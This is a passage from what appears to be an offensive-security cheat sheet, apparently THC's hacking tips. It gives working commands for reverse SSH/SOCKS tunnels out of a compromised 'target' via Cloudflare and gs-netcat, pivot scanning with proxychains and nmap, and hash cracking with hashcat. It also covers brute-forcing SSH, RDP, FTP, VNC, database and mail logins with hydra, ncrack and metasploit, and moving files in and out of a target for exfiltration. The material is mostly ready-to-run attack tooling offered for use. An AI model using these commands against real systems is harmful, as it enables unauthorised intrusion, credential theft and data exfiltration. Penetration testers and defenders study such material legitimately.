it](https://thc.org/segfault/wireguard) on segfault.)742 * [ligolo-ng](https://github.com/nicocha30/ligolo-ng) - Uses TCP as transport. Works well via [cloudflare CDN](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) or gs-netcat.743 744### Use SSH as a cheap reverse proxy via Cloudflare745 746This method is similar to [HTTPS reverse tunnels](#https) but uses SSH instead of Gost or websocat.747- Advantage: Only uses *cloudflared* and *SSH* on the target.748- Disadvantage: Needs a CF subscription.749 750 1. Go to your CF Dashboard -> Zero Trust -> Networks -> Tunnels751 2. Create a new 'Cloudflared' tunnel of any name.752 3. Select Debian & 64-bit. The Token is not fully shown. Extract the "Token" by copying the grayed out area into a separate document to reveal the entire Token (the long hex-strings after `sudo cloudflared service install <TunnelTokenHere>`).753 4. Add a subdomain (example uses `ssh.team-teso.net`).754 5. Set Type=TCP URL=localhost:22755 756```shell757### On YOUR workstation:758cloudflared tunnel run --token TunnelTokenHere759```760 761```shell762### On the TARGET, create a reverse-SOCKS connection with SSH over Cloudflare:763ssh -o ProxyCommand="cloudflared access tcp --hostname ssh.team-teso.net" root@0 -R 1080764```765 766```shell767### On your workstation, connect to _any_ host within the target network (example: ipinfo.io)768curl -x socks5h://0 https://ipinfo.io769```770Use [ProxyChains or GrafTCP to tunnel](#scan-proxy) other protocols via the reverse proxy.771 772 773---774<a id="scan-proxy"></a>775**3.iv. Use any tool via Socks Proxy**776 777### Create a tunnel from the target to your workstation using gsocket:778On the target's network:779```sh780## Create a SOCKS proxy into the target's network.781## Use gs-netcat but ssh -D would work as well.782gs-netcat -l -S783```784 785On your workstation:786```sh787## Create a gsocket tunnel into the target's network:788gs-netcat -p 1080789```790 791### Using ProxyChain:792```sh793## Use ProxyChain to access any host on the target's network: 794echo -e "[ProxyList]\nsocks5 127.0.0.1 1080" >pc.conf795proxychains -f pc.conf -q curl ipinfo.io796## Scan the router at 192.168.1.1797proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.1798## Start 10 nmaps in parallel:799seq 1 254 | xargs -P10 -I{} proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.{} 800```801 802### Using GrafTCP:803```sh804## Use graftcp to access any host on the target's network:805(graftcp-local -select_proxy_mode only_socks5 &)806graftcp curl ipinfo.io807graftcp ssh root@192.168.1.1808graftcp nmap -n -Pn -sV -F --open 19.168.1.1809```810 811---812<a id="your-ip"></a>813**3.v. Find your public IP address**814 815```sh816curl -s wtfismyip.com/json | jq817curl ifconfig.me818dig +short myip.opendns.com @resolver1.opendns.com819host myip.opendns.com resolver1.opendns.com820```821 822Get geolocation information about any IP address:823 824```sh825curl https://ipinfo.io/8.8.8.8 | jq826curl http://ip-api.com/8.8.8.8827curl https://cli.fyi/8.8.8.8828```829 830Get ASN information by IP address:831 832```sh833asn() {834 [[ -n $1 ]] && { echo -e "begin\nverbose\n${1}\nend"|netcat whois.cymru.com 43| tail -n +2; return; }835 (echo -e 'begin\nverbose';cat -;echo end)|netcat whois.cymru.com 43|tail -n +2836}837asn 1.1.1.1 # Single IP Lookup838cat IPS.txt | asn # Bulk Lookup839```840 841Check if TOR is working:842 843```sh844curl -x socks5h://localhost:9050 -s https://check.torproject.org/api/ip845### Result should be {"IsTor":true...846```847 848---849<a id="check-reachable"></a>850**3.vi. Check reachability from around the world**851 852The fine people at [https://ping.pe/](https://ping.pe/) let you ping/traceroute/mtr/dig/port-check a host from around the world, check TCP ports, resolve a domain name, ...and many other things.853 854To check how well your (current) host can reach Internet use [OONI Probe](https://ooni.org/support/ooni-probe-cli):855```sh856ooniprobe run im857ooniprobe run websites858ooniprobe list859ooniprobe list 1860```861 862---863<a id="check-open-ports"></a>864**3.vii. Check/Scan Open Ports on an IP**865 866[Censys](https://search.censys.io/) or [Shodan](https://internetdb.shodan.io) Port lookup service:867```shell868curl https://internetdb.shodan.io/1.1.1.1869```870 871Fast (-F) vulnerability scan872```shell873# Version gathering874nmap nmap -n -Pn -sCV -F --open --min-rate 10000 scanme.nmap.org875# Vulns876nmap -A -F -Pn --min-rate 10000 --script vulners.nse --script-timeout=5s scanme.nmap.org877```878 879Scan for open TCP ports:880```sh881_scan_single() {882 local opt=("${2}")883 [ -f "$2" ] && opt=("-iL" "$2")884 nmap -Pn -p"${1}" --open -T4 -n -oG - "${opt[@]}" 2>/dev/null | grep -F Ports885}886scan() {887 local port="${1:?}"888 shift 1889 for ip in "$@"; do890 _scan_single "$port" "$ip"891 done892}893# scan <ports> <IP or file> ...894# scan 22,80,443 192.168.0.1895# scan - 192.168.0.1-254" 10.0.0.1-254896```897(See [Hackshell](https://github.com/hackerschoice/hackshell) `scan`)898 899Simple bash port-scanner:900```shell901timeout 5 bash -c "</dev/tcp/1.2.3.4/31337" && echo OPEN || echo CLOSED902```903 904---905<a id="bruteforce"></a>906**3.viii. Crack Password hashes**907 908 1. [NTLM2password](https://ntlm.pw/) to crack (lookup) NTLM passwords909 2. [wpa-sec](https://wpa-sec.stanev.org) to crack (lookup) WPA PSK passwords910 911HashCat is our go-to tool for everything else:912```shell913hashcat my-hash /usr/share/wordlists/rockyou.txt914```915 916Using a [10-days 7-16 char hashmask](https://github.com/sean-t-smith/Extreme_Breach_Masks/) on GPU:917```sh918curl -fsSL https://github.com/sean-t-smith/Extreme_Breach_Masks/raw/main/10%2010-days/10-days_7-16.hcmask -o 10-days_7-16.hcmask919# -d2 == Use GPU #2 only (device #2)920# -O == Up to 50% faster but limits password length to <= 15921# -w1 == workload low (-w3 == high)922nice -n 19 hashcat -o cracked.txt my-hash.txt -w1 -a3 10-days_7-16.hcmask -O -d2923```924 925Crack OpenSSH's `known_hosts` hashes to reveal the IP address:926```shell927curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/ipv4_hcmask.txt -O928curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/kh-converter.py -O929python3 kh-converter.py ~/.ssh/known_hosts >known_hosts_hashes930hashcat -m 160 --quiet --hex-salt known_hosts_hashes -a 3 ipv4_hcmask.txt 931```932 933👉 Read the [FAQ](https://hashcat.net/wiki/doku.php?id=frequently_asked_questions).934 935Be aware that `$6$` hashes are SLOW. Even the [1-minute 7-16 char hashmask](https://github.com/sean-t-smith/Extreme_Breach_Masks/raw/main/01%20instant_1-minute/1-minute_7-16.hcmask) would take many days on a 8xRTX4090 cluster to complete.936 937Rent a RTX-4090 GPU-Cluster at [vast.ai](https://www.vast.ai) for $0.40/h and use [dizcza/docker-hashcat:cuda](https://hub.docker.com/r/dizcza/docker-hashcat) ([read more](https://adamsvoboda.net/password-cracking-in-the-cloud-with-hashcat-vastai/)).938 939Otherwise, use [Crackstation](https://crackstation.net), [shuck.sh](https://shuck.sh/), [ColabCat/cloud](https://github.com/someshkar/colabcat)/[Cloudtopolis](https://github.com/JoelGMSec/Cloudtopolis) or crack on your own [AWS](https://akimbocore.com/article/hashcracking-with-aws/) instances.940 941**3.xi. Brute Force Passwords / Keys**942 943The following is for brute forcing (guessing) passwords of ONLINE SERVICES.944 945<a id="gmail"></a>946<details>947 <summary>GMail Imbeciles - CLICK HERE</summary>948 949> You can not brute force GMAIL accounts. 950> SMTP AUTH/LOGIN IS DISABLED ON GMAIL. 951> All GMail Brute Force and Password Cracking tools are FAKE.952</details>953 954All tools are pre-installed on segfault:955```shell956ssh root@segfaul.net # password is 'segfault'957```958(You may want to use your [own EXIT node](https://www.thc.org/segfault/wireguard))959 960Tools:961* [Ncrack](https://nmap.org/ncrack/man.html)962* [Nmap BRUTE](https://nmap.org/nsedoc/categories/brute.html)963* [THC Hydra](https://sectools.org/tool/hydra/)964* [Medusa](https://www.geeksforgeeks.org/password-cracking-with-medusa-in-linux/) / [docs](http://foofus.net/goons/jmk/medusa/medusa.html)965* [Metasploit](https://docs.rapid7.com/metasploit/bruteforce-attacks/)966* [Crowbar](https://github.com/galkan/crowbar) - great for trying all ssh keys on a target IP range.967 968Username & Password lists:969* `/usr/share/nmap/nselib/data` 970* `/usr/share/wordlists/seclists/Passwords`971* https://github.com/berzerk0/Probable-Wordlists - >THC's FAVORITE<972* https://github.com/danielmiessler/SecLists 973* https://wordlists.assetnote.io 974* https://weakpass.com 975* https://crackstation.net/ 976 977 978Set **U**sername/**P**assword list and **T**arget host.979```shell980ULIST="/usr/share/wordlists/brutespray/mysql/user"981PLIST="/usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt"982T="192.168.0.1"983```984 985Useful **Nmap** parameters:986```shell987--script-args userdb="${ULIST}",passdb="${PLIST}",brute.firstOnly988```989 990Useful **Ncrack** parameters:991```shell992-U "${ULIST}"993-P "${PLIST}"994```995 996Useful **Hydra** parameters:997```shell998-t4 # Limit to 4 tasks999-l root # Set username1000-V # Show each login/password attempt1001-s 31337 # Set port1002-S # Use SSL1003-f # Exit after first valid login1004```1005 1006<!--1007```shell1008## HTTP Login1009hydra -l admin -P "${PLIST}" http-post-fomr "/admin.php:u=^USER&p-^PASS&f=login:'Enter'" -v1010```1011-->1012```shell1013## SSH1014nmap -p 22 --script ssh-brute --script-args ssh-brute.timeout=4s "$T"1015ncrack -P "${PLIST}" --user root "ssh://${T}"1016hydra -P "${PLIST}" -l root "ssh://$T"1017```1018 1019```shell1020## Remote Desktop Protocol / RDP1021ncrack -P "${PLIST}" --user root -p3389 "${T}"1022hydra -P "${PLIST}" -l root "rdp://$T"1023```1024 1025```shell1026## FTP1027hydra -P "${PLIST}" -l user "ftp://$T"1028```1029 1030```shell1031## IMAP (email)1032nmap -p 143,993 --script imap-brute "$T"1033```1034 1035```shell1036## POP3 (email)1037nmap -p110,995 --script pop3-brute "$T"1038```1039 1040```shell1041## MySQL1042nmap -p3306 --script mysql-brute "$T"1043```1044 1045```shell1046## PostgreSQL1047nmap -p5432 --script pgsql-brute "$T"1048```1049 1050```shell1051## SMB (windows)1052nmap --script smb-brute "$T"1053```1054 1055```shell1056## Telnet1057nmap -p23 --script telnet-brute --script-args telnet-brute.timeout=8s "$T"1058```1059 1060```shell1061## VNC1062nmap -p5900 --script vnc-brute "$T"1063ncrack -P "${PLIST}" --user root "vnc://$T"1064hydra -P "${PLIST}" "vnc://$T"1065medusa -P "${PLIST}" –u root –M vnc -h "$T"1066```1067 1068```shell1069## VNC (with metasploit)1070msfconsole1071use auxiliary/scanner/vnc/vnc_login1072set rhosts 192.168.0.11073set pass_file /usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt1074run1075```1076 1077```shell1078## HTML basic auth1079echo admin >user.txt # Try only 1 username1080echo -e "blah\naaddd\nfoobar" >pass.txt # Add some passwords to try. 'aaddd' is the valid one.1081nmap -p80 --script http-brute --script-args \1082 http-brute.hostname=pentesteracademylab.appspot.com,http-brute.path=/lab/webapp/basicauth,userdb=user.txt,passdb=pass.txt,http-brute.method=POST,brute.firstOnly \1083 pentesteracademylab.appspot.com1084```1085 1086---1087<a id="exfil"></a>1088## 4. Data Upload/Download/Exfil1089 1090Easiest: Type `exfil` on a [Segfault Root Server](https://thc.org/segfault)1091 1092Or use curl and run your own [PHP exfil server](https://github.com/Rouji/single_php_filehost).1093 1094<a id="file-encoding"></a>1095 1096### 4.i File Encoding1097 1098Trick to transfer a file to the target when the target does not have access to the Internet: Convert the binary file into ASCII-text (base64) and then use cut & paste. (Alternatively use gs-netcat's elite console with `Ctrl-e c` to transfer file over the same TCP connection.)1099 1100Use `xclip` (on your workstation) to pipe the encoded data straight into your clipboard:1101```shell1102base64 -w0 </etc/issue.net | xclip1103```1104 1105 1106 1107#### >>> UU encode/decode1108 1109```sh1110## uuencode 1111uuencode /etc/issue.net issue.net-COPY1112```1113<details>1114 <summary>Output - CLICK HERE</summary>1115 1116> begin 644 issue.net-COPY 1117> 72V%L:2!'3E4O3&EN=7@@4F]L;&EN9PH\` 1118> ` 1119> end1120</details>1121 1122```sh1123## uudecode (cut & paste the 3 lines from above):1124uudecode1125```1126#### >>> base64 encode/decode1127 1128```sh1129base64 -w0 </etc/issue.net 1130```1131<details>1132 <summary>Output - CLICK HERE</summary>1133 1134> VWJ1bnR1IDE4LjA0LjIgTFRTCg==1135</details>1136 1137```sh1138base64 -d >issue.net-COPY1139```1140 1141#### >>> Openssl encode/decode1142 1143```sh1144openssl base64 </etc/issue.net 1145```1146<details>1147 <summary>Output - CLICK HERE</summary>1148 1149> VWJ1bnR1IDE4LjA0LjIgTFRTCg==1150</details>1151 1152```sh1153openssl base64 -d >issue.net-COPY1154```1155 1156#### >>> xxd encode/decode1157 1158```sh1159xxd -p </etc/issue.net1160```1161<details>1162 <summary>Output - CLICK HERE</summary>1163 1164> 4b616c6920474e552f4c696e757820526f6c6c696e670a1165</details>1166 1167```sh1168xxd -p -r >issue.net-COPY1169```1170 1171---1172<a id="cut-paste"></a>1173### 4.ii. File transfer - using cut & paste1174 1175Paste into a file on the remote machine (note the `<<-'__EOF__'` to not mess with tabs or $-variables).1176```sh1177cat >output.txt <<-'__EOF__'1178[...]1179__EOF__ ### Finish your cut & paste by typing __EOF__1180```1181 1182---1183<a id="xfer-tmux"></a>1184### 4.iii. File transfer - using *tmux*1185 1186Start `tmux` on your workstation. Connect to your target by any means you like (ssh, gs-netcat, ...).1187 1188#### From REMOTE to LOCAL (download)1189 1190Use [Tmux-Logging](#tmux) to download large files from the target via the terminal to your workstation.1191 1192#### From LOCAL to REMOTE (upload)1193 1194Start your favorite decoding tool (base64) on the REMOTE:1195```shell1196# Use 'Ctrl-b $' to rename this tmux session to 'foo'1197base64 -d >screen-xfer.txt1198```1199 1200On your workstation, and from a different terminal, send base64-encoded data. It will arrive on your REMOTE in `screen-xfer.txt`.